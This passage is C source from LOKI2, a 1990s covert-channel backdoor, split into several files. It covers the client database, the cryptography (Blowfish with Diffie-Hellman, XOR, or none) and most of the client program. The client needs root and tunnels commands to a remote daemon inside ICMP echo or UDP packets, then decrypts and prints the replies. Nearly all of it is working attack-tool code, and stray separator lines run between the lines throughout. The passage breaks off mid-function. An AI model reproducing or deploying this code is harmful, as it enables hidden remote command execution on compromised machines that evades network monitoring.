n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
|
|||
|
n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));
|
|||
|
|
|||
|
proto = getprotobynumber(prot);
|
|||
|
n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
|
|||
|
n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
|
|||
|
time(&now);
|
|||
|
n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);
|
|||
|
|
|||
|
locks();
|
|||
|
n += sprintf(&buf[n], "client ID:\t\t%d\n", client[entry].client_id);
|
|||
|
n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
|
|||
|
n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
|
|||
|
n += sprintf(&buf[n], "requests:\t\t%d\n", client[entry].hits);
|
|||
|
ulocks();
|
|||
|
|
|||
|
return (n);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Unsets alarm timer, then calls age_client, then resets signal handler
|
|||
|
* and alarm timer.
|
|||
|
*/
|
|||
|
|
|||
|
void client_expiry_check(){
|
|||
|
|
|||
|
alarm(0);
|
|||
|
age_client();
|
|||
|
/* re-establish signal handler */
|
|||
|
if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");
|
|||
|
|
|||
|
alarm(KEY_TIMER);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* This function is called every KEY_TIMER interval to sweep through the
|
|||
|
* client list. It zeros any entrys it finds that have not been accessed
|
|||
|
* in KEY_TIMER seconds. This gives us a way to free up entries from clients
|
|||
|
* which may have crashed or lost their QUIT_C packet in transit.
|
|||
|
*/
|
|||
|
|
|||
|
void age_client()
|
|||
|
{
|
|||
|
|
|||
|
time_t timestamp = 0;
|
|||
|
int i = 0;
|
|||
|
|
|||
|
time(×tamp);
|
|||
|
locks();
|
|||
|
for (; i < MAX_CLIENT; i++)
|
|||
|
{
|
|||
|
if (client[i].client_id)
|
|||
|
{
|
|||
|
if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
|
|||
|
{
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i);
|
|||
|
bzero(&client[i], sizeof(client[i]));
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
ivec_salt = 0;
|
|||
|
#endif
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
ulocks();
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Update the statistics for client.
|
|||
|
*/
|
|||
|
|
|||
|
void update_client(int entry, int pcount, u_long bcount)
|
|||
|
{
|
|||
|
locks();
|
|||
|
client[entry].touchtime = time((time_t *)NULL);
|
|||
|
client[entry].packets_sent += pcount;
|
|||
|
client[entry].bytes_sent += bcount;
|
|||
|
client[entry].hits ++;
|
|||
|
ulocks();
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Returns the IP address and ID of the targeted entry
|
|||
|
*/
|
|||
|
|
|||
|
u_long check_client_ip(int entry, u_short *id)
|
|||
|
{
|
|||
|
u_long ip = 0;
|
|||
|
|
|||
|
locks();
|
|||
|
if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
|
|||
|
ulocks();
|
|||
|
|
|||
|
return (ip);
|
|||
|
}
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
|
|||
|
/*
|
|||
|
* Update and return the IV salt for the client
|
|||
|
*/
|
|||
|
|
|||
|
u_short update_client_salt(int entry)
|
|||
|
{
|
|||
|
|
|||
|
u_short salt = 0;
|
|||
|
|
|||
|
locks();
|
|||
|
salt = ++client[entry].ivec_salt;
|
|||
|
ulocks();
|
|||
|
|
|||
|
return (salt);
|
|||
|
}
|
|||
|
|
|||
|
#endif /* STRONG_CRYPTO */
|
|||
|
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> client_db.c
|
|||
|
<++> L2/client_db.h
|
|||
|
/*
|
|||
|
* LOKI
|
|||
|
*
|
|||
|
* client_db header file
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Client info list.
|
|||
|
* MAX_CLIENT of these will be kept in a server-side array
|
|||
|
*/
|
|||
|
|
|||
|
struct client_list
|
|||
|
{
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
u_char key[BF_KEYSIZE]; /* unset bf key */
|
|||
|
u_short ivec_salt; /* the IV salter */
|
|||
|
#endif
|
|||
|
u_short client_id; /* client loki_id */
|
|||
|
u_long client_ip; /* client IP address */
|
|||
|
time_t touchtime; /* last time entry was hit */
|
|||
|
u_long packets_sent; /* Packets sent to this client */
|
|||
|
u_long bytes_sent; /* Bytes sent to this client */
|
|||
|
u_int hits; /* Number of queries from client */
|
|||
|
#ifdef PTY
|
|||
|
int pty_fd; /* Master PTY file descriptor */
|
|||
|
#endif
|
|||
|
};
|
|||
|
|
|||
|
#define IS_GOOD_CLIENT(ldg)\
|
|||
|
\
|
|||
|
(c_id == client[i].client_id && \
|
|||
|
ldg.iph.ip_src == client[i].client_ip) > \
|
|||
|
(0) ? (1) : (0) \
|
|||
|
|
|||
|
void update_client(int, int, u_long); /* Update a client entry */
|
|||
|
/* client info into supplied buffer */
|
|||
|
int stat_client(int, u_char *, int, time_t);
|
|||
|
int add_client(u_char *); /* add a client entry */
|
|||
|
int locate_client(int); /* find a client entry */
|
|||
|
void age_client(void); /* age a client from the list */
|
|||
|
u_short update_client_salt(int); /* update and return salt */
|
|||
|
u_long check_client_ip(int, u_short *); /* return ip and id of target */
|
|||
|
<--> client_db.h
|
|||
|
<++> L2/crypt.c
|
|||
|
/*
|
|||
|
* LOKI2
|
|||
|
*
|
|||
|
* [ crypt.c ]
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include "loki.h"
|
|||
|
#include "crypt.h"
|
|||
|
#include "md5/global.h"
|
|||
|
#include "md5/md5.h"
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
u_char user_key[BF_KEYSIZE]; /* unset blowfish key */
|
|||
|
BF_KEY bf_key; /* set key */
|
|||
|
volatile u_short ivec_salt = 0;
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Blowfish in cipher-feedback mode. This implements blowfish (a symmetric
|
|||
|
* cipher) as a self-synchronizing stream cipher. The initialization
|
|||
|
* vector (the initial dummy cipher-text block used to seed the encryption)
|
|||
|
* need not be secret, but it must be unique for each encryption. I fill
|
|||
|
* the ivec[] array with every 3rd key byte incremented linear-like via
|
|||
|
* a global encryption counter (which must be synced in both client and
|
|||
|
* server).
|
|||
|
*/
|
|||
|
|
|||
|
void blur(int m, int bs, u_char *t)
|
|||
|
{
|
|||
|
|
|||
|
int i = 0, j = 0, num = 0;
|
|||
|
u_char ivec[IVEC_SIZE + 1] = {0};
|
|||
|
|
|||
|
for (; i < BF_KEYSIZE; i += 3) /* fill in IV */
|
|||
|
ivec[j++] = (user_key[i] + (u_char)ivec_salt);
|
|||
|
BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Generate DH keypair.
|
|||
|
*/
|
|||
|
|
|||
|
DH* generate_dh_keypair()
|
|||
|
{
|
|||
|
|
|||
|
DH *dh = NULL;
|
|||
|
/* Initialize the DH structure */
|
|||
|
dh = DH_new();
|
|||
|
/* Convert the prime into BIGNUM */
|
|||
|
(BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
|
|||
|
/* Create a new BIGNUM */
|
|||
|
(BIGNUM *)(dh -> g) = BN_new();
|
|||
|
/* Set the DH generator */
|
|||
|
BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
|
|||
|
/* Generate the key pair */
|
|||
|
if (!DH_generate_key(dh)) return ((DH *)NULL);
|
|||
|
|
|||
|
return(dh);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Extract blowfish key from the DH shared secret. A simple MD5 hash is
|
|||
|
* perfect as it will return the 16-bytes we want, and obscure any possible
|
|||
|
* redundancies or key-bit leaks in the DH shared secret.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
|
|||
|
{
|
|||
|
|
|||
|
u_char digest[MD5_HASHSIZE];
|
|||
|
unsigned len = BN2BIN_SIZE;
|
|||
|
MD5_CTX context;
|
|||
|
/* initialize MD5 (loads magic context
|
|||
|
* constants)
|
|||
|
*/
|
|||
|
MD5Init(&context);
|
|||
|
/* MD5 hashing */
|
|||
|
MD5Update(&context, dh_shared_secret, len);
|
|||
|
/* clean up of MD5 */
|
|||
|
MD5Final(digest, &context);
|
|||
|
bcopy(digest, user_key, BF_KEYSIZE);
|
|||
|
/* In the server we dunot set the key
|
|||
|
* right away; they are set when they
|
|||
|
* are nabbed from the client list.
|
|||
|
*/
|
|||
|
if (set_bf == OK)
|
|||
|
{
|
|||
|
BF_set_key(&bf_key, BF_KEYSIZE, user_key);
|
|||
|
return ((u_char *)NULL);
|
|||
|
}
|
|||
|
else return (strdup(user_key));
|
|||
|
}
|
|||
|
#endif
|
|||
|
#ifdef WEAK_CRYPTO
|
|||
|
|
|||
|
/*
|
|||
|
* Simple XOR obfuscation.
|
|||
|
*
|
|||
|
* ( Syko was right -- the following didn't work under certain compilation
|
|||
|
* environments... Never write code in which the order of evaluation defines
|
|||
|
* the result. See K&R page 53, at the bottom... )
|
|||
|
*
|
|||
|
* if (!m) while (i < bs) t[i] ^= t[i++ +1];
|
|||
|
* else
|
|||
|
* {
|
|||
|
* i = bs;
|
|||
|
* while (i) t[i - 1] ^= t[i--];
|
|||
|
* }
|
|||
|
*
|
|||
|
*/
|
|||
|
|
|||
|
void blur(int m, int bs, u_char *t)
|
|||
|
{
|
|||
|
|
|||
|
int i = 0;
|
|||
|
|
|||
|
if (!m)
|
|||
|
{ /* Encrypt */
|
|||
|
while (i < bs)
|
|||
|
{
|
|||
|
t[i] ^= t[i + 1];
|
|||
|
i++;
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
{ /* Decrypt */
|
|||
|
i = bs;
|
|||
|
while (i)
|
|||
|
{
|
|||
|
t[i - 1] ^= t[i];
|
|||
|
i--;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
#endif
|
|||
|
#ifdef NO_CRYPTO
|
|||
|
|
|||
|
/*
|
|||
|
* No encryption
|
|||
|
*/
|
|||
|
|
|||
|
void blur(int m, int bs, u_char *t){}
|
|||
|
|
|||
|
#endif
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> crypt.c
|
|||
|
<++> L2/crypt.h
|
|||
|
/*
|
|||
|
* LOKI
|
|||
|
*
|
|||
|
* crypt header file
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* 384-bit strong prime */
|
|||
|
|
|||
|
u_char modulus[] =
|
|||
|
{
|
|||
|
|
|||
|
0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A,
|
|||
|
0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49,
|
|||
|
0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14,
|
|||
|
0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,
|
|||
|
|
|||
|
};
|
|||
|
#endif
|
|||
|
<--> crypt.h
|
|||
|
<++> L2/loki.c
|
|||
|
/*
|
|||
|
* LOKI2
|
|||
|
*
|
|||
|
* [ loki.c ]
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include "loki.h"
|
|||
|
|
|||
|
jmp_buf env;
|
|||
|
struct loki sdg, rdg;
|
|||
|
int verbose = OK, cflags = 0, ripsock = 0, tsock = 0;
|
|||
|
u_long p_read = 0; /* packets read */
|
|||
|
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
DH *dh_keypair = NULL; /* DH public and private keypair */
|
|||
|
extern u_short ivec_salt;
|
|||
|
#endif
|
|||
|
|
|||
|
|
|||
|
int main(int argc, char *argv[])
|
|||
|
{
|
|||
|
|
|||
|
static int prot = IPPROTO_ICMP, one = 1, c = 0;
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
static int established = 0, retran = 0;
|
|||
|
#endif
|
|||
|
static u_short loki_id = 0;
|
|||
|
int timer = MIN_TIMEOUT;
|
|||
|
u_char buf[BUFSIZE] = {0};
|
|||
|
struct protoent *pprot = 0;
|
|||
|
struct sockaddr_in sin;
|
|||
|
/* Ensure we have proper permissions */
|
|||
|
if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV);
|
|||
|
loki_id = getpid(); /* Allows us to individualize each
|
|||
|
* same protocol loki client session
|
|||
|
* on a given host.
|
|||
|
*/
|
|||
|
bzero((struct sockaddr_in *)&sin, sizeof(sin));
|
|||
|
while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)
|
|||
|
{
|
|||
|
switch (c)
|
|||
|
{
|
|||
|
case 'v': /* change verbosity */
|
|||
|
verbose = atoi(optarg);
|
|||
|
break;
|
|||
|
|
|||
|
case 'd': /* destination address of daemon */
|
|||
|
strncpy(buf, optarg, BUFSIZE - 1);
|
|||
|
sin.sin_family = AF_INET;
|
|||
|
sin.sin_addr.s_addr = name_resolve(buf);
|
|||
|
break;
|
|||
|
|
|||
|
case 't': /* change alarm timer */
|
|||
|
if ((timer = atoi(optarg)) < MIN_TIMEOUT)
|
|||
|
err_exit(1, 0, 1, "Invalid timeout.\n");
|
|||
|
break;
|
|||
|
|
|||
|
case 'p': /* select transport protocol */
|
|||
|
switch (optarg[0])
|
|||
|
{
|
|||
|
case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
|
|||
|
prot = IPPROTO_ICMP;
|
|||
|
break;
|
|||
|
|
|||
|
case 'u': /* DNS query / reply */
|
|||
|
prot = IPPROTO_UDP;
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
err_exit(1, 0, verbose, "Unknown transport.\n");
|
|||
|
}
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
err_exit(0, 0, 1, C_MSG_USAGE);
|
|||
|
}
|
|||
|
}
|
|||
|
/* we need a destination address */
|
|||
|
if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE);
|
|||
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|||
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */
|
|||
|
if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY);
|
|||
|
#endif
|
|||
|
/* Raw socket to build packets */
|
|||
|
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SOCKET);
|
|||
|
#ifdef DEBUG
|
|||
|
fprintf(stderr, "\nRaw IP socket: ");
|
|||
|
fd_status(ripsock, OK);
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef IP_HDRINCL
|
|||
|
if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
|
|||
|
if (verbose) perror("Cannot set IP_HDRINCL socket option");
|
|||
|
#endif
|
|||
|
/* register packet dumping function
|
|||
|
* to be called upon exit
|
|||
|
*/
|
|||
|
if (atexit(packets_read) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
|
|||
|
|
|||
|
fprintf(stderr, L_MSG_BANNER);
|
|||
|
for (; ;)
|
|||
|
{
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* Key negotiation phase. Before we
|
|||
|
* can do anything, we need to share
|
|||
|
* a secret with the server. This
|
|||
|
* is our key management phase.
|
|||
|
* After this is done, we are
|
|||
|
* established. We try MAX_RETRAN
|
|||
|
* times to contact a server.
|
|||
|
*/
|
|||
|
if (!established)
|
|||
|
{
|
|||
|
/* Generate the DH parameters and public
|
|||
|
* and private keypair
|
|||
|
*/
|
|||
|
if (!dh_keypair)
|
|||
|
{
|
|||
|
if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN);
|
|||
|
if (!(dh_keypair = generate_dh_keypair()))
|
|||
|
err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
|
|||
|
}
|
|||
|
if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");
|
|||
|
/* convert the BIGNUM public key
|
|||
|
* into a big endian byte string
|
|||
|
*/
|
|||
|
bzero((u_char *)buf, BUFSIZE);
|
|||
|
BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf);
|
|||
|
/* Submit our key and request to
|
|||
|
* the server (in one packet)
|
|||
|
*/
|
|||
|
if (verbose) fprintf(stderr, C_MSG_PKREQ);
|
|||
|
loki_xmit(buf, loki_id, prot, sin, L_PK_REQ);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
#endif
|
|||
|
bzero((u_char *)buf, BUFSIZE);
|
|||
|
fprintf(stderr, PROMPT); /* prompt user for input */
|
|||
|
read(STDIN_FILENO, buf, BUFSIZE - 1);
|
|||
|
buf[strlen(buf)] = 0;
|
|||
|
/* Nothing to parse */
|
|||
|
if (buf[0] == '\n') continue; /* Escaped command */
|
|||
|
if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;
|
|||
|
/* Send request to server */
|
|||
|
loki_xmit(buf, loki_id, prot, sin, L_REQ);
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
}
|
|||
|
#endif
|
|||
|
/* change transports */
|
|||
|
if (cflags & NEWTRANS)
|
|||
|
{
|
|||
|
close(tsock);
|
|||
|
prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
|
|||
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SOCKET);
|
|||
|
|
|||
|
pprot = getprotobynumber(prot);
|
|||
|
if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name);
|
|||
|
cflags &= ~NEWTRANS;
|
|||
|
continue;
|
|||
|
}
|
|||
|
if (cflags & TERMINATE) /* client should exit */
|
|||
|
{
|
|||
|
fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n");
|
|||
|
clean_exit(0);
|
|||
|
}
|
|||
|
/* Clear TRAP and VALID PACKET flags */
|
|||
|
cflags &= (~TRAP & ~VALIDP);
|
|||
|
/* set alarm singal handler */
|
|||
|
if (signal(SIGALRM, catch_timeout) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGALRM);
|
|||
|
/* returns true if we land here as the
|
|||
|
* result of a longjmp() -- IOW the
|
|||
|
* alarm timer went off
|
|||
|
*/
|
|||
|
if (setjmp(env))
|
|||
|
{
|
|||
|
fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT);
|
|||
|
cflags |= TRAP;
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
if (!established) /* No connection established yet */
|
|||
|
if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server. Giving up.\n");
|
|||
|
else if (verbose) fprintf(stderr, "Resending...\n");
|
|||
|
#endif
|
|||
|
}
|
|||
|
while (!(cflags & TRAP))
|
|||
|
{ /* TRAP will not be set unless the
|
|||
|
* alarm timer expires or we get
|
|||
|
* an EOT packet
|
|||
|
*/
|
|||
|
alarm(timer); /* block until alarm or read */
|
|||
|
|
|||
|
if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0)
|
|||
|
perror("[non fatal] network read error");
|
|||
|
|
|||
|
switch (prot)
|
|||
|
{ /* Is this a valid Loki packet? */
|
|||
|
case IPPROTO_ICMP:
|
|||
|
if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP;
|
|||
|
break;
|
|||
|
|
|||
|
case IPPROTO_UDP:
|
|||
|
if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP;
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
err_exit(1, 0, verbose, L_MSG_WIERDERR);
|
|||
|
}
|
|||
|
if (cflags & VALIDP)
|
|||
|
{
|
|||
|
#ifdef DEBUG
|
|||
|
fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c);
|
|||
|
PACKET_TYPE(rdg);
|
|||
|
DUMP_PACKET(rdg, c);
|
|||
|
#endif
|
|||
|
/* we have a valid packet and can
|
|||
|
* turn off the alarm timer
|
|||
|
*/
|
|||
|
alarm(0);
|
|||
|
switch (rdg.payload[0]) /* determine packet type */
|
|||
|
{
|
|||
|
case L_REPLY : /* standard reply packet */
|
|||
|
bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
|
|||
|
blur(DECR, BUFSIZE - 1, buf);
|
|||
|
#ifndef DEBUG
|
|||
|
fprintf(stderr, "%s", buf);
|
|||
|
#endif
|
|||
|
p_read++;
|
|||
|
break;
|
|||
|
|
|||
|
case L_EOT : /* end of transmission packet */
|
|||
|
cflags |= TRAP;
|
|||
|
p_read++;
|
|||
|
break;
|
|||
|
|
|||
|
case L_ERR : /* error msg packet (not encrypted) */
|
|||
|
bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
|
|||
|
fprintf(stderr, "%s", buf);
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* If the connection is not established
|
|||
|
* we exit upon receipt of an error
|
|||
|
*/
|
|||
|
if (!established) clean_exit(1);
|
|||
|
#endif
|
|||
|
break;
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
case L_PK_REPLY : /* public-key receipt */
|
|||
|
if (verbose) fprintf(stderr, C_MSG_PKREC);
|
|||
|
/* compute DH key parameters */
|
|||
|
DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
|
|||
|
/* extract blowfish key from the
|
|||
|
* DH shared secret.
|
|||
|
*/
|
|||
|
if (verbose) fprintf(stderr, C_MSG_SKSET);
|
|||
|
extract_bf_key(buf, OK);
|
|||
|
established = OK;
|
|||
|
break;
|
|||
|
#endif
|
|||
|
case L_QUIT: /* termination directive packet */
|
|||
|
fprintf(stderr, C_MSG_MUSTQUIT);
|
|||
|
clean_exit(0);
|
|||
|
|
|||
|
default :
|
|||
|
fprintf(stderr, "\nUnknown LOKI packet type");
|
|||
|
break;
|
|||
|
}
|
|||
|
cflags &= ~VALIDP; /* reset VALID PACKET flag */
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
return (0);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Build and transmit Loki packets (client version)
|
|||
|
*/
|
|||
|
|
|||
|
void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype)
|
|||
|
{
|
|||
|
|
|||
|
bzero((struct loki *)&sdg, LOKIP_SIZE);
|
|||
|
/* Encrypt and load payload, unless
|
|||
|
* we are doing key management
|
|||
|
*/
|
|||
|
if (ptype != L_PK_REQ)
|
|||
|
{
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
ivec_salt++;
|
|||
|
#endif
|
|||
|
blur(ENCR, BUFSIZE - 1, payload);
|
|||
|
}
|
|||
|
bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
|
|||
|
|
|||
|
if (prot == IPPROTO_ICMP)
|
|||
|
{
|
|||
|
#ifdef NET3 /* Our workaround. */
|
|||
|
sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
|
|||
|
#else
|
|||
|
sdg.ttype.icmph.icmp_type = ICMP_ECHO;
|
|||
|
#endif
|
|||
|
sdg.ttype.icmph.icmp_code = (int)NULL;
|
|||
|
sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */
|
|||
|
sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
|
|||
|
sdg.payload[0] = ptype;
|
|||
|
sdg.ttype.icmph.icmp_cksum =
|
|||
|
i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
|
|||
|
}
|
|||
|
if (prot == IPPROTO_UDP)
|
|||
|
{
|
|||
|
sdg.ttype.udph.uh_sport = loki_id;
|
|||
|
sdg.ttype.udph.uh_dport = NL_PORT;
|
|||
|
sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
|
|||
|
sdg.payload[0] = ptype;
|
|||
|
sdg.ttype.udph.uh_sum =
|
|||
|
i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
|
|||
|
}
|
|||
|
sdg.iph.ip_v = 0x4;
|
|||
|
sdg.iph.ip_hl = 0x5;
|
|||
|
sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
|
|||
|
sdg.iph.ip_ttl = 0x40;
|
|||
|
sdg.iph.ip_p = prot;
|
|||
|
sdg.iph.ip_dst = sin.sin_addr.s_addr;
|
|||
|
|
|||
|
if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
|
|||
|
{
|
|||
|
if (verbose) perror("[non fatal] truncated write");
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* help is here
|
|||
|
*/
|
|||
|
|
|||
|
void help()
|
|||
|
{
|
|||
|
|
|||
|
fprintf(stderr,"
|
|||
|
%s\t\t- you are here
|
|||
|
%s xx\t\t- change alarm timeout to xx seconds (minimum of %d)
|
|||
|
%s\t\t- query loki server for client statistics
|
|||
|
%s\t\t- query loki server for all client statistics
|
|||
|
%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]
|
|||
|
%s\t\t- quit the client
|
|||
|
%s\t\t- quit this client and kill all other clients (and the server)
|
|||
|
%s dest\t\t- proxy to another server [ UNIMPLIMENTED ]
|
|||
|
%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n",
|
|||
|
|
|||
|
HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* parse escaped commands
|
|||
|
*/
|
|||
|
|
|||
|
int c_parse(u_char *buf, int *timer)
|
|||
|
{
|
|||
|
|
|||
|
cflags &= ~VALIDC;
|
|||
|
/* help */
|
|||
|
if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
|
|||
|
{
|
|||
|
help();
|
|||
|
return (NOK);
|
|||
|
}
|
|||
|
/* change alarm timer */
|
|||
|
else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
|
|||
|
{
|
|||
|
cflags |= VALIDC;
|
|||
|
(*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
|
|||
|
fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
|
|||
|
return (NOK);
|
|||
|
}
|
|||
|
/* Quit client, send notice to server */
|
|||
|
else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
|
|||
|
cflags |= (TERMINATE | VALIDC);
|
|||
|
/* Quit client, send kill to server */
|
|||
|
else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
|
|||
|
cflags |= (TERMINATE | VALIDC);
|
|||
|
/* Request server-side statistics */
|
|||
|
else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
|
|||
|
cflags |= VALIDC;
|
|||
|
/* Swap transport protocols */
|
|||
|
else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
|
|||
|
{
|
|||
|
/* When using strong crypto we do not
|
|||
|
* want to swap protocols.
|
|||
|
*/
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
fprintf(stderr, C_MSG_NOSWAP);
|
|||
|
return (NOK);
|
|||
|
#elif !(__linux__)
|
|||
|
fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
|
|||
|
return (NOK);
|
|||
|
#else
|
|||
|
cflags |= (NEWTRANS | VALIDC);
|
|||
|
#endif
|
|||
|
|
|||
|
}
|
|||
|
/* Request server to redirect output
|
|||
|
* to another LOKI client
|
|||
|
*/
|
|||
|
else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
|
|||
|
cflags |= (REDIRECT | VALIDC);
|
|||
|
/* Request server to simply proxy
|
|||
|
* requests to another LOKI server
|
|||
|
*/
|
|||
|
else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
|
|||
|
cflags |= (PROXY | VALIDC);
|
|||
|
|
|||
|
/* Bad command trap */
|
|||
|
if (!(cflags & VALIDC))
|
|||
|
{
|
